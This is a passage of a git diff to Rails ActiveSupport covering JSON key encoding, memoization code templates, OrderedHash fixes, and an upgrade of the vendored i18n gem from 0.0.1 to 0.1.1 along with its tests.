# DateTime.civil(2005,2,1,15,15,10).to_json
diff --git a/activesupport/lib/active_support/json/encoders/hash.rb b/activesupport/lib/active_support/json/encoders/hash.rb
index b9bdd55fa5..16dc8337f5 100644
--- a/activesupport/lib/active_support/json/encoders/hash.rb
+++ b/activesupport/lib/active_support/json/encoders/hash.rb
@@ -5,7 +5,7 @@ class Hash
# the hash keys. For example:
#
# { :name => "Konata Izumi", 'age' => 16, 1 => 2 }.to_json
- # # => {"name": "Konata Izumi", 1: 2, "age": 16}
+ # # => {"name": "Konata Izumi", "1": 2, "age": 16}
#
# The keys in the JSON string are unordered due to the nature of hashes.
#
@@ -39,7 +39,7 @@ class Hash
returning result = '{' do
result << hash_keys.map do |key|
- "#{ActiveSupport::JSON.encode(key)}: #{ActiveSupport::JSON.encode(self[key], options)}"
+ "#{ActiveSupport::JSON.encode(key.to_s)}: #{ActiveSupport::JSON.encode(self[key], options)}"
end * ', '
result << '}'
end
diff --git a/activesupport/lib/active_support/json/encoders/time.rb b/activesupport/lib/active_support/json/encoders/time.rb
index 09fc614889..f45a0059e8 100644
--- a/activesupport/lib/active_support/json/encoders/time.rb
+++ b/activesupport/lib/active_support/json/encoders/time.rb
@@ -2,7 +2,7 @@ class Time
# Returns a JSON string representing the time. If ActiveSupport.use_standard_json_time_format is set to true, the
# ISO 8601 format is used.
#
- # ==== Examples:
+ # ==== Examples
#
# # With ActiveSupport.use_standard_json_time_format = true
# Time.utc(2005,2,1,15,15,10).to_json
diff --git a/activesupport/lib/active_support/memoizable.rb b/activesupport/lib/active_support/memoizable.rb
index 9f2fd3a401..952b4d8063 100644
--- a/activesupport/lib/active_support/memoizable.rb
+++ b/activesupport/lib/active_support/memoizable.rb
@@ -59,34 +59,36 @@ module ActiveSupport
memoized_ivar = ActiveSupport::Memoizable.memoized_ivar_for(symbol)
class_eval <<-EOS, __FILE__, __LINE__
- include InstanceMethods
-
- raise "Already memoized #{symbol}" if method_defined?(:#{original_method})
- alias #{original_method} #{symbol}
-
- if instance_method(:#{symbol}).arity == 0
- def #{symbol}(reload = false)
- if reload || !defined?(#{memoized_ivar}) || #{memoized_ivar}.empty?
- #{memoized_ivar} = [#{original_method}.freeze]
- end
- #{memoized_ivar}[0]
- end
- else
- def #{symbol}(*args)
- #{memoized_ivar} ||= {} unless frozen?
- reload = args.pop if args.last == true || args.last == :reload
-
- if defined?(#{memoized_ivar}) && #{memoized_ivar}
- if !reload && #{memoized_ivar}.has_key?(args)
- #{memoized_ivar}[args]
- elsif #{memoized_ivar}
- #{memoized_ivar}[args] = #{original_method}(*args).freeze
- end
- else
- #{original_method}(*args)
- end
- end
- end
+ include InstanceMethods # include InstanceMethods
+ #
+ if method_defined?(:#{original_method}) # if method_defined?(:_unmemoized_mime_type)
+ raise "Already memoized #{symbol}" # raise "Already memoized mime_type"
+ end # end
+ alias #{original_method} #{symbol} # alias _unmemoized_mime_type mime_type
+ #
+ if instance_method(:#{symbol}).arity == 0 # if instance_method(:mime_type).arity == 0
+ def #{symbol}(reload = false) # def mime_type(reload = false)
+ if reload || !defined?(#{memoized_ivar}) || #{memoized_ivar}.empty? # if reload || !defined?(@_memoized_mime_type) || @_memoized_mime_type.empty?
+ #{memoized_ivar} = [#{original_method}.freeze] # @_memoized_mime_type = [_unmemoized_mime_type.freeze]
+ end # end
+ #{memoized_ivar}[0] # @_memoized_mime_type[0]
+ end # end
+ else # else
+ def #{symbol}(*args) # def mime_type(*args)
+ #{memoized_ivar} ||= {} unless frozen? # @_memoized_mime_type ||= {} unless frozen?
+ reload = args.pop if args.last == true || args.last == :reload # reload = args.pop if args.last == true || args.last == :reload
+ #
+ if defined?(#{memoized_ivar}) && #{memoized_ivar} # if defined?(@_memoized_mime_type) && @_memoized_mime_type
+ if !reload && #{memoized_ivar}.has_key?(args) # if !reload && @_memoized_mime_type.has_key?(args)
+ #{memoized_ivar}[args] # @_memoized_mime_type[args]
+ elsif #{memoized_ivar} # elsif @_memoized_mime_type
+ #{memoized_ivar}[args] = #{original_method}(*args).freeze # @_memoized_mime_type[args] = _unmemoized_mime_type(*args).freeze
+ end # end
+ else # else
+ #{original_method}(*args) # _unmemoized_mime_type(*args)
+ end # end
+ end # end
+ end # end
EOS
end
end
diff --git a/activesupport/lib/active_support/multibyte/unicode_database.rb b/activesupport/lib/active_support/multibyte/unicode_database.rb
index 3b8cf8f9eb..a08f38cdbb 100644
--- a/activesupport/lib/active_support/multibyte/unicode_database.rb
+++ b/activesupport/lib/active_support/multibyte/unicode_database.rb
@@ -24,10 +24,10 @@ module ActiveSupport #:nodoc:
# Lazy load the Unicode database so it's only loaded when it's actually used
ATTRIBUTES.each do |attr_name|
class_eval(<<-EOS, __FILE__, __LINE__)
- def #{attr_name}
- load
- @#{attr_name}
- end
+ def #{attr_name} # def codepoints
+ load # load
+ @#{attr_name} # @codepoints
+ end # end
EOS
end
diff --git a/activesupport/lib/active_support/ordered_hash.rb b/activesupport/lib/active_support/ordered_hash.rb
index 3def0be639..25ea505813 100644
--- a/activesupport/lib/active_support/ordered_hash.rb
+++ b/activesupport/lib/active_support/ordered_hash.rb
@@ -10,10 +10,14 @@ module ActiveSupport
@keys = []
end
+ def initialize_copy(other)
+ super
+ # make a deep copy of keys
+ @keys = other.keys
+ end
+
def []=(key, value)
- if !has_key?(key)
- @keys << key
- end
+ @keys << key if !has_key?(key)
super
end
@@ -24,6 +28,12 @@ module ActiveSupport
end
super
end
+
+ def delete_if
+ super
+ sync_keys!
+ self
+ end
def reject!
super
@@ -36,7 +46,7 @@ module ActiveSupport
end
def keys
- @keys
+ @keys.dup
end
def values
@@ -56,7 +66,7 @@ module ActiveSupport
end
def each
- keys.each {|key| yield [key, self[key]]}
+ @keys.each {|key| yield [key, self[key]]}
end
alias_method :each_pair, :each
@@ -73,13 +83,16 @@ module ActiveSupport
[k, v]
end
+ def merge!(other_hash)
+ other_hash.each {|k,v| self[k] = v }
+ self
+ end
+
def merge(other_hash)
- result = dup
- other_hash.each {|k,v| result[k]=v}
- result
+ dup.merge!(other_hash)
end
- private
+ private
def sync_keys!
@keys.delete_if {|k| !has_key?(k)}
diff --git a/activesupport/lib/active_support/testing/performance.rb b/activesupport/lib/active_support/testing/performance.rb
index bd136c2596..f8d12e82b3 100644
--- a/activesupport/lib/active_support/testing/performance.rb
+++ b/activesupport/lib/active_support/testing/performance.rb
@@ -12,7 +12,7 @@ module ActiveSupport
if benchmark = ARGV.include?('--benchmark') # HAX for rake test
{ :benchmark => true,
:runs => 4,
- :metrics => [:process_time, :memory, :objects, :gc_runs, :gc_time],
+ :metrics => [:wall_time, :memory, :objects, :gc_runs, :gc_time],
:output => 'tmp/performance' }
else
{ :benchmark => false,
diff --git a/activesupport/lib/active_support/time_with_zone.rb b/activesupport/lib/active_support/time_with_zone.rb
index 9a2d283b30..1a59b2a08d 100644
--- a/activesupport/lib/active_support/time_with_zone.rb
+++ b/activesupport/lib/active_support/time_with_zone.rb
@@ -99,15 +99,19 @@ module ActiveSupport
"#{time.strftime('%a, %d %b %Y %H:%M:%S')} #{zone} #{formatted_offset}"
end
- def xmlschema
- "#{time.strftime("%Y-%m-%dT%H:%M:%S")}#{formatted_offset(true, 'Z')}"
+ def xmlschema(fraction_digits = 0)
+ fraction = if fraction_digits > 0
+ ".%i" % time.usec.to_s[0, fraction_digits]
+ end
+
+ "#{time.strftime("%Y-%m-%dT%H:%M:%S")}#{fraction}#{formatted_offset(true, 'Z')}"
end
alias_method :iso8601, :xmlschema
# Returns a JSON string representing the TimeWithZone. If ActiveSupport.use_standard_json_time_format is set to
# true, the ISO 8601 format is used.
#
- # ==== Examples:
+ # ==== Examples
#
# # With ActiveSupport.use_standard_json_time_format = true
# Time.utc(2005,2,1,15,15,10).in_time_zone.to_json
@@ -199,7 +203,7 @@ module ActiveSupport
# If we're subtracting a Duration of variable length (i.e., years, months, days), move backwards from #time,
# otherwise move backwards #utc, for accuracy when moving across DST boundaries
if other.acts_like?(:time)
- utc - other
+ utc.to_f - other.to_f
elsif duration_of_variable_length?(other)
method_missing(:-, other)
else
@@ -234,9 +238,9 @@ module ActiveSupport
%w(year mon month day mday wday yday hour min sec to_date).each do |method_name|
class_eval <<-EOV
- def #{method_name}
- time.#{method_name}
- end
+ def #{method_name} # def year
+ time.#{method_name} # time.year
+ end # end
EOV
end
diff --git a/activesupport/lib/active_support/vendor.rb b/activesupport/lib/active_support/vendor.rb
index 4525bba559..3d7d52ca71 100644
--- a/activesupport/lib/active_support/vendor.rb
+++ b/activesupport/lib/active_support/vendor.rb
@@ -22,8 +22,8 @@ end
# TODO I18n gem has not been released yet
# begin
-# gem 'i18n', '~> 0.0.1'
+# gem 'i18n', '~> 0.1.1'
# rescue Gem::LoadError
- $:.unshift "#{File.dirname(__FILE__)}/vendor/i18n-0.0.1"
+ $:.unshift "#{File.dirname(__FILE__)}/vendor/i18n-0.1.1/lib"
require 'i18n'
# end
diff --git a/activesupport/lib/active_support/vendor/i18n-0.1.1/.gitignore b/activesupport/lib/active_support/vendor/i18n-0.1.1/.gitignore
new file mode 100644
index 0000000000..0f41a39f89
--- /dev/null
+++ b/activesupport/lib/active_support/vendor/i18n-0.1.1/.gitignore
@@ -0,0 +1,3 @@
+.DS_Store
+test/rails/fixtures
+doc
diff --git a/activesupport/lib/active_support/vendor/i18n-0.1.1/MIT-LICENSE b/activesupport/lib/active_support/vendor/i18n-0.1.1/MIT-LICENSE
new file mode 100755
index 0000000000..ed8e9ee66d
--- /dev/null
+++ b/activesupport/lib/active_support/vendor/i18n-0.1.1/MIT-LICENSE
@@ -0,0 +1,20 @@
+Copyright (c) 2008 The Ruby I18n team
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. \ No newline at end of file
diff --git a/activesupport/lib/active_support/vendor/i18n-0.1.1/README.textile b/activesupport/lib/active_support/vendor/i18n-0.1.1/README.textile
new file mode 100644
index 0000000000..a07fc8426d
--- /dev/null
+++ b/activesupport/lib/active_support/vendor/i18n-0.1.1/README.textile
@@ -0,0 +1,20 @@
+h1. Ruby I18n gem
+
+I18n and localization solution for Ruby.
+
+For information please refer to http://rails-i18n.org
+
+h2. Authors
+
+* "Matt Aimonetti":http://railsontherun.com
+* "Sven Fuchs":http://www.artweb-design.de
+* "Joshua Harvey":http://www.workingwithrails.com/person/759-joshua-harvey
+* "Saimon Moore":http://saimonmoore.net
+* "Stephan Soller":http://www.arkanis-development.de
+
+h2. License
+
+MIT License. See the included MIT-LICENCE file.
+
+
+
diff --git a/activesupport/lib/active_support/vendor/i18n-0.1.1/Rakefile b/activesupport/lib/active_support/vendor/i18n-0.1.1/Rakefile
new file mode 100644
index 0000000000..2164e13e69
--- /dev/null
+++ b/activesupport/lib/active_support/vendor/i18n-0.1.1/Rakefile
@@ -0,0 +1,5 @@
+task :default => [:test]
+
+task :test do
+ ruby "test/all.rb"
+end
diff --git a/activesupport/lib/active_support/vendor/i18n-0.1.1/i18n.gemspec b/activesupport/lib/active_support/vendor/i18n-0.1.1/i18n.gemspec
new file mode 100644
index 0000000000..14294606bd
--- /dev/null
+++ b/activesupport/lib/active_support/vendor/i18n-0.1.1/i18n.gemspec
@@ -0,0 +1,27 @@
+Gem::Specification.new do |s|
+ s.name = "i18n"
+ s.version = "0.1.1"
+ s.date = "2008-10-26"
+ s.summary = "Internationalization support for Ruby"
+ s.email = "rails-i18n@googlegroups.com"
+ s.homepage = "http://rails-i18n.org"
+ s.description = "Add Internationalization support to your Ruby application."
+ s.has_rdoc = false
+ s.authors = ['Sven Fuchs', 'Joshua Harvey', 'Matt Aimonetti', 'Stephan Soller', 'Saimon Moore']
+ s.files = [
+ 'i18n.gemspec',
+ 'lib/i18n/backend/simple.rb',
+ 'lib/i18n/exceptions.rb',
+ 'lib/i18n.rb',
+ 'MIT-LICENSE',
+ 'README.textile'
+ ]
+ s.test_files = [
+ 'test/all.rb',
+ 'test/i18n_exceptions_test.rb',
+ 'test/i18n_test.rb',
+ 'test/locale/en.rb',
+ 'test/locale/en.yml',
+ 'test/simple_backend_test.rb'
+ ]
+end
diff --git a/activesupport/lib/active_support/vendor/i18n-0.0.1/i18n.rb b/activesupport/lib/active_support/vendor/i18n-0.1.1/lib/i18n.rb
index 2ffe3618b5..b5ad094d0e 100755
--- a/activesupport/lib/active_support/vendor/i18n-0.0.1/i18n.rb
+++ b/activesupport/lib/active_support/vendor/i18n-0.1.1/lib/i18n.rb
@@ -2,39 +2,39 @@
# Sven Fuchs (http://www.artweb-design.de),
# Joshua Harvey (http://www.workingwithrails.com/person/759-joshua-harvey),
# Saimon Moore (http://saimonmoore.net),
-# Stephan Soller (http://www.arkanis-development.de/)
+# Stephan Soller (http://www.arkanis-development.de/)
# Copyright:: Copyright (c) 2008 The Ruby i18n Team
# License:: MIT
require 'i18n/backend/simple'
require 'i18n/exceptions'
-module I18n
+module I18n
@@backend = nil
@@load_path = nil
@@default_locale = :'en'
@@exception_handler = :default_exception_handler
-
+
class << self
# Returns the current backend. Defaults to +Backend::Simple+.
def backend
@@backend ||= Backend::Simple.new
end
-
+
# Sets the current backend. Used to set a custom backend.
- def backend=(backend)
+ def backend=(backend)
@@backend = backend
end
-
- # Returns the current default locale. Defaults to 'en'
+
+ # Returns the current default locale. Defaults to :'en'
def default_locale
- @@default_locale
+ @@default_locale
end
-
+
# Sets the current default locale. Used to set a custom default locale.
- def default_locale=(locale)
- @@default_locale = locale
+ def default_locale=(locale)
+ @@default_locale = locale
end
-
+
# Returns the current locale. Defaults to I18n.default_locale.
def locale
Thread.current[:locale] ||= default_locale
@@ -44,12 +44,12 @@ module I18n
def locale=(locale)
Thread.current[:locale] = locale
end
-
+
# Sets the exception handler.
def exception_handler=(exception_handler)
@@exception_handler = exception_handler
end
-
+
# Allow clients to register paths providing translation data sources. The
# backend defines acceptable sources.
#
@@ -74,25 +74,25 @@ module I18n
def reload!
backend.reload!
end
-
- # Translates, pluralizes and interpolates a given key using a given locale,
+
+ # Translates, pluralizes and interpolates a given key using a given locale,
# scope, and default, as well as interpolation values.
#
# *LOOKUP*
#
- # Translation data is organized as a nested hash using the upper-level keys
- # as namespaces. <em>E.g.</em>, ActionView ships with the translation:
+ # Translation data is organized as a nested hash using the upper-level keys
+ # as namespaces. <em>E.g.</em>, ActionView ships with the translation:
# <tt>:date => {:formats => {:short => "%b %d"}}</tt>.
- #
- # Translations can be looked up at any level of this hash using the key argument
- # and the scope option. <em>E.g.</em>, in this example <tt>I18n.t :date</tt>
+ #
+ # Translations can be looked up at any level of this hash using the key argument
+ # and the scope option. <em>E.g.</em>, in this example <tt>I18n.t :date</tt>
# returns the whole translations hash <tt>{:formats => {:short => "%b %d"}}</tt>.
- #
- # Key can be either a single key or a dot-separated key (both Strings and Symbols
+ #
+ # Key can be either a single key or a dot-separated key (both Strings and Symbols
# work). <em>E.g.</em>, the short format can be looked up using both:
# I18n.t 'date.formats.short'
# I18n.t :'date.formats.short'
- #
+ #
# Scope can be either a single key, a dot-separated key or an array of keys
# or dot-separated keys. Keys and scopes can be combined freely. So these
# examples will all look up the same short date format:
@@ -105,9 +105,9 @@ module I18n
#
# Translations can contain interpolation variables which will be replaced by
# values passed to #translate as part of the options hash, with the keys matching
- # the interpolation variable names.
+ # the interpolation variable names.
#
- # <em>E.g.</em>, with a translation <tt>:foo => "foo {{bar}}"</tt> the option
+ # <em>E.g.</em>, with a translation <tt>:foo => "foo {{bar}}"</tt> the option
# value for the key +bar+ will be interpolated into the translation:
# I18n.t :foo, :bar => 'baz' # => 'foo baz'
#
@@ -116,7 +116,7 @@ module I18n
# Translation data can contain pluralized translations. Pluralized translations
# are arrays of singluar/plural versions of translations like <tt>['Foo', 'Foos']</tt>.
#
- # Note that <tt>I18n::Backend::Simple</tt> only supports an algorithm for English
+ # Note that <tt>I18n::Backend::Simple</tt> only supports an algorithm for English
# pluralization rules. Other algorithms can be supported by custom backends.
#
# This returns the singular version of a pluralized translation:
@@ -125,9 +125,9 @@ module I18n
# These both return the plural version of a pluralized translation:
# I18n.t :foo, :count => 0 # => 'Foos'
# I18n.t :foo, :count => 2 # => 'Foos'
- #
- # The <tt>:count</tt> option can be used both for pluralization and interpolation.
- # <em>E.g.</em>, with the translation
+ #
+ # The <tt>:count</tt> option can be used both for pluralization and interpolation.
+ # <em>E.g.</em>, with the translation
# <tt>:foo => ['{{count}} foo', '{{count}} foos']</tt>, count will
# be interpolated to the pluralized translation:
# I18n.t :foo, :count => 1 # => '1 foo'
@@ -137,11 +137,11 @@ module I18n
# This returns the translation for <tt>:foo</tt> or <tt>default</tt> if no translation was found:
# I18n.t :foo, :default => 'default'
#
- # This returns the translation for <tt>:foo</tt> or the translation for <tt>:bar</tt> if no
+ # This returns the translation for <tt>:foo</tt> or the translation for <tt>:bar</tt> if no
# translation for <tt>:foo</tt> was found:
# I18n.t :foo, :default => :bar
#
- # Returns the translation for <tt>:foo</tt> or the translation for <tt>:bar</tt>
+ # Returns the translation for <tt>:foo</tt> or the translation for <tt>:bar</tt>
# or <tt>default</tt> if no translations for <tt>:foo</tt> and <tt>:bar</tt> were found.
# I18n.t :foo, :default => [:bar, 'default']
#
@@ -161,9 +161,9 @@ module I18n
rescue I18n::ArgumentError => e
raise e if options[:raise]
send(@@exception_handler, e, locale, key, options)
- end
+ end
alias :t :translate
-
+
# Localizes certain objects, such as dates and numbers to local formatting.
def localize(object, options = {})
locale = options[:locale] || I18n.locale
@@ -171,7 +171,7 @@ module I18n
backend.localize(locale, object, format)
end
alias :l :localize
-
+
protected
# Handles exceptions raised in the backend. All exceptions except for
# MissingTranslationData exceptions are re-raised. When a MissingTranslationData
@@ -181,7 +181,7 @@ module I18n
return exception.message if MissingTranslationData === exception
raise exception
end
-
+
# Merges the given locale, key and scope into a single array of keys.
# Splits keys that contain dots into multiple keys. Makes sure all
# keys are Symbols.
@@ -191,4 +191,4 @@ module I18n
keys.flatten.map { |k| k.to_sym }
end
end
-end \ No newline at end of file
+end
diff --git a/activesupport/lib/active_support/vendor/i18n-0.0.1/i18n/backend/simple.rb b/activesupport/lib/active_support/vendor/i18n-0.1.1/lib/i18n/backend/simple.rb
index bdda55d3fe..d298b3a85a 100644
--- a/activesupport/lib/active_support/vendor/i18n-0.0.1/i18n/backend/simple.rb
+++ b/activesupport/lib/active_support/vendor/i18n-0.1.1/lib/i18n/backend/simple.rb
@@ -6,21 +6,21 @@ module I18n
INTERPOLATION_RESERVED_KEYS = %w(scope default)
MATCH = /(\\\\)?\{\{([^\}]+)\}\}/
- # Accepts a list of paths to translation files. Loads translations from
+ # Accepts a list of paths to translation files. Loads translations from
# plain Ruby (*.rb) or YAML files (*.yml). See #load_rb and #load_yml
# for details.
def load_translations(*filenames)
filenames.each { |filename| load_file(filename) }
end
-
- # Stores translations for the given locale in memory.
+
+ # Stores translations for the given locale in memory.
# This uses a deep merge for the translations hash, so existing
# translations will be overwritten by new ones only at the deepest
# level of the hash.
def store_translations(locale, data)
merge_translations(locale, data)
end
-
+
def translate(locale, key, options = {})
raise InvalidLocale.new(locale) if locale.nil?
return key.map { |k| translate(locale, k, options) } if key.is_a? Array
@@ -41,13 +41,13 @@ module I18n
entry = interpolate(locale, entry, values)
entry
end
-
- # Acts the same as +strftime+, but returns a localized version of the
- # formatted date string. Takes a key from the date/time formats
- # translations as a format argument (<em>e.g.</em>, <tt>:short</tt> in <tt>:'date.formats'</tt>).
+
+ # Acts the same as +strftime+, but returns a localized version of the
+ # formatted date string. Takes a key from the date/time formats
+ # translations as a format argument (<em>e.g.</em>, <tt>:short</tt> in <tt>:'date.formats'</tt>).
def localize(locale, object, format = :default)
raise ArgumentError, "Object must be a Date, DateTime or Time object. #{object.inspect} given." unless object.respond_to?(:strftime)
-
+
type = object.respond_to?(:sec) ? 'time' : 'date'
# TODO only translate these if format is a String?
formats = translate(locale, :"#{type}.formats")
@@ -57,14 +57,14 @@ module I18n
# TODO only translate these if the format string is actually present
# TODO check which format strings are present, then bulk translate then, then replace them
- format.gsub!(/%a/, translate(locale, :"date.abbr_day_names")[object.wday])
+ format.gsub!(/%a/, translate(locale, :"date.abbr_day_names")[object.wday])
format.gsub!(/%A/, translate(locale, :"date.day_names")[object.wday])
format.gsub!(/%b/, translate(locale, :"date.abbr_month_names")[object.mon])
format.gsub!(/%B/, translate(locale, :"date.month_names")[object.mon])
format.gsub!(/%p/, translate(locale, :"time.#{object.hour < 12 ? :am : :pm}")) if object.respond_to? :hour
object.strftime(format)
end
-
+
def initialized?
@initialized ||= false
end
@@ -79,12 +79,12 @@ module I18n
load_translations(*I18n.load_path)
@initialized = true
end
-
+
def translations
@translations ||= {}
end
-
- # Looks up a translation from the translations hash. Returns nil if
+
+ # Looks up a translation from the translations hash. Returns nil if
# eiher key is nil, or locale, scope or key do not exist as a key in the
# nested translations hash. Splits keys or scopes containing dots
# into multiple keys, i.e. <tt>currency.format</tt> is regarded the same as
@@ -101,19 +101,19 @@ module I18n
end
end
end
-
- # Evaluates a default translation.
+
+ # Evaluates a default translation.
# If the given default is a String it is used literally. If it is a Symbol
# it will be translated with the given options. If it is an Array the first
# translation yielded will be returned.
- #
- # <em>I.e.</em>, <tt>default(locale, [:foo, 'default'])</tt> will return +default+ if
+ #
+ # <em>I.e.</em>, <tt>default(locale, [:foo, 'default'])</tt> will return +default+ if
# <tt>translate(locale, :foo)</tt> does not yield a result.
def default(locale, default, options = {})
case default
when String then default
when Symbol then translate locale, default, options
- when Array then default.each do |obj|
+ when Array then default.each do |obj|
result = default(locale, obj, options.dup) and return result
end and nil
end
@@ -135,10 +135,10 @@ module I18n
end
# Interpolates values into a given string.
- #
- # interpolate "file {{file}} opened by \\{{user}}", :file => 'test.txt', :user => 'Mr. X'
+ #
+ # interpolate "file {{file}} opened by \\{{user}}", :file => 'test.txt', :user => 'Mr. X'
# # => "file test.txt opened by {{user}}"
- #
+ #
# Note that you have to double escape the <tt>\\</tt> when you want to escape
# the <tt>{{...}}</tt> key in a string (once for the string and once for the
# interpolation).
@@ -167,8 +167,8 @@ module I18n
result.force_encoding(original_encoding) if original_encoding
result
end
-
- # Loads a single translations file by delegating to #load_rb or
+
+ # Loads a single translations file by delegating to #load_rb or
# #load_yml depending on the file extension and directly merges the
# data to the existing translations. Raises I18n::UnknownFileType
# for all other file extensions.
@@ -178,19 +178,19 @@ module I18n
data = send :"load_#{type}", filename # TODO raise a meaningful exception if this does not yield a Hash
data.each { |locale, d| merge_translations(locale, d) }
end
-
+
# Loads a plain Ruby translations file. eval'ing the file must yield
# a Hash containing translation data with locales as toplevel keys.
def load_rb(filename)
eval(IO.read(filename), binding, filename)
end
-
- # Loads a YAML translations file. The data must have locales as
+
+ # Loads a YAML translations file. The data must have locales as
# toplevel keys.
def load_yml(filename)
YAML::load(IO.read(filename))
end
-
+
# Deep merges the given translations hash with the existing translations
# for the given locale
def merge_translations(locale, data)
@@ -202,7 +202,7 @@ module I18n
merger = proc { |key, v1, v2| Hash === v1 && Hash === v2 ? v1.merge(v2, &merger) : v2 }
translations[locale].merge!(data, &merger)
end
-
+
# Return a new hash with all keys and nested keys converted to symbols.
def deep_symbolize_keys(hash)
hash.inject({}) { |result, (key, value)|
diff --git a/activesupport/lib/active_support/vendor/i18n-0.0.1/i18n/exceptions.rb b/activesupport/lib/active_support/vendor/i18n-0.1.1/lib/i18n/exceptions.rb
index 0f3eff1071..b5cea7acb4 100644
--- a/activesupport/lib/active_support/vendor/i18n-0.0.1/i18n/exceptions.rb
+++ b/activesupport/lib/active_support/vendor/i18n-0.1.1/lib/i18n/exceptions.rb
@@ -1,6 +1,6 @@
module I18n
class ArgumentError < ::ArgumentError; end
-
+
class InvalidLocale < ArgumentError
attr_reader :locale
def initialize(locale)
@@ -42,7 +42,7 @@ module I18n
super "reserved key #{key.inspect} used in #{string.inspect}"
end
end
-
+
class UnknownFileType < ArgumentError
attr_reader :type, :filename
def initialize(type, filename)
@@ -50,4 +50,4 @@ module I18n
super "can not load translations from #{filename}, the file type #{type} is not known"
end
end
-end \ No newline at end of file
+end \ No newline at end of file
diff --git a/activesupport/lib/active_support/vendor/i18n-0.1.1/test/all.rb b/activesupport/lib/active_support/vendor/i18n-0.1.1/test/all.rb
new file mode 100644
index 0000000000..353712da49
--- /dev/null
+++ b/activesupport/lib/active_support/vendor/i18n-0.1.1/test/all.rb
@@ -0,0 +1,5 @@
+dir = File.dirname(__FILE__)
+require dir + '/i18n_test.rb'
+require dir + '/simple_backend_test.rb'
+require dir + '/i18n_exceptions_test.rb'
+# *require* dir + '/custom_backend_test.rb' \ No newline at end of file
diff --git a/activesupport/lib/active_support/vendor/i18n-0.1.1/test/i18n_exceptions_test.rb b/activesupport/lib/active_support/vendor/i18n-0.1.1/test/i18n_exceptions_test.rb
new file mode 100644
index 0000000000..dfcba6901f
--- /dev/null
+++ b/activesupport/lib/active_support/vendor/i18n-0.1.1/test/i18n_exceptions_test.rb
@@ -0,0 +1,100 @@
+$:.unshift "lib"
+
+require 'rubygems'
+require 'test/unit'
+require 'mocha'
+require 'i18n'
+require 'active_support'
+
+class I18nExceptionsTest < Test::Unit::TestCase
+ def test_invalid_locale_stores_locale
+ force_invalid_locale
+ rescue I18n::ArgumentError => e
+ assert_nil e.locale
+ end
+
+ def test_invalid_locale_message
+ force_invalid_locale
+ rescue I18n::ArgumentError => e
+ assert_equal 'nil is not a valid locale', e.message
+ end
+
+ def test_missing_translation_data_stores_locale_key_and_options
+ force_missing_translation_data
+ rescue I18n::ArgumentError => e
+ options = {:scope => :bar}
+ assert_equal 'de', e.locale
+ assert_equal :foo, e.key
+ assert_equal options, e.options
+ end
+
+ def test_missing_translation_data_message
+ force_missing_translation_data
+ rescue I18n::ArgumentError => e
+ assert_equal 'translation missing: de, bar, foo', e.message
+ end
+
+ def test_invalid_pluralization_data_stores_entry_and_count
+ force_invalid_pluralization_data
+ rescue I18n::ArgumentError => e
+ assert_equal [:bar], e.entry
+ assert_equal 1, e.count
+ end
+
+ def test_invalid_pluralization_data_message
+ force_invalid_pluralization_data
+ rescue I18n::ArgumentError => e
+ assert_equal 'translation data [:bar] can not be used with :count => 1', e.message
+ end
+
+ def test_missing_interpolation_argument_stores_key_and_string
+ force_missing_interpolation_argument
+ rescue I18n::ArgumentError => e
+ assert_equal 'bar', e.key
+ assert_equal "{{bar}}", e.string
+ end
+
+ def test_missing_interpolation_argument_message
+ force_missing_interpolation_argument
+ rescue I18n::ArgumentError => e
+ assert_equal 'interpolation argument bar missing in "{{bar}}"', e.message
+ end
+
+ def test_reserved_interpolation_key_stores_key_and_string
+ force_reserved_interpolation_key
+ rescue I18n::ArgumentError => e
+ assert_equal 'scope', e.key
+ assert_equal "{{scope}}", e.string
+ end
+
+ def test_reserved_interpolation_key_message
+ force_reserved_interpolation_key
+ rescue I18n::ArgumentError => e
+ assert_equal 'reserved key "scope" used in "{{scope}}"', e.message
+ end
+
+ private
+ def force_invalid_locale
+ I18n.backend.translate nil, :foo
+ end
+
+ def force_missing_translation_data
+ I18n.backend.store_translations 'de', :bar => nil
+ I18n.backend.translate 'de', :foo, :scope => :bar
+ end
+
+ def force_invalid_pluralization_data
+ I18n.backend.store_translations 'de', :foo => [:bar]
+ I18n.backend.translate 'de', :foo, :count => 1
+ end
+
+ def force_missing_interpolation_argument
+ I18n.backend.store_translations 'de', :foo => "{{bar}}"
+ I18n.backend.translate 'de', :foo, :baz => 'baz'
+ end
+
+ def force_reserved_interpolation_key
+ I18n.backend.store_translations 'de', :foo => "{{scope}}"
+ I18n.backend.translate 'de', :foo, :baz => 'baz'
+ end
+end \ No newline at end of file
diff --git a/activesupport/lib/active_support/vendor/i18n-0.1.1/test/i18n_test.rb b/activesupport/lib/active_support/vendor/i18n-0.1.1/test/i18n_test.rb
new file mode 100644
index 0000000000..bbb35ec809
--- /dev/null
+++ b/activesupport/lib/active_support/vendor/i18n-0.1.1/test/i18n_test.rb
@@ -0,0 +1,125 @@
+$:.unshift "lib"
+
+require 'rubygems'
+require 'test/unit'
+require 'mocha'
+require 'i18n'
+require 'active_support'
+
+class I18nTest < Test::Unit::TestCase
+ def setup
+ I18n.backend.store_translations :'en', {
+ :currency => {
+ :format => {
+ :separator => '.',
+ :delimiter => ',',
+ }
+ }
+ }
+ end
+
+ def test_uses_simple_backend_set_by_default
+ assert I18n.backend.is_a?(I18n::Backend::Simple)
+ end
+
+ def test_can_set_backend
+ assert_nothing_raised{ I18n.backend = self }
+ assert_equal self, I18n.backend
+ I18n.backend = I18n::Backend::Simple.new
+ end
+
+ def test_uses_en_us_as_default_locale_by_default
+ assert_equal 'en', I18n.default_locale
+ end
+
+ def test_can_set_default_locale
+ assert_nothing_raised{ I18n.default_locale = 'de' }
+ assert_equal 'de', I18n.default_locale
+ I18n.default_locale = 'en'
+ end
+
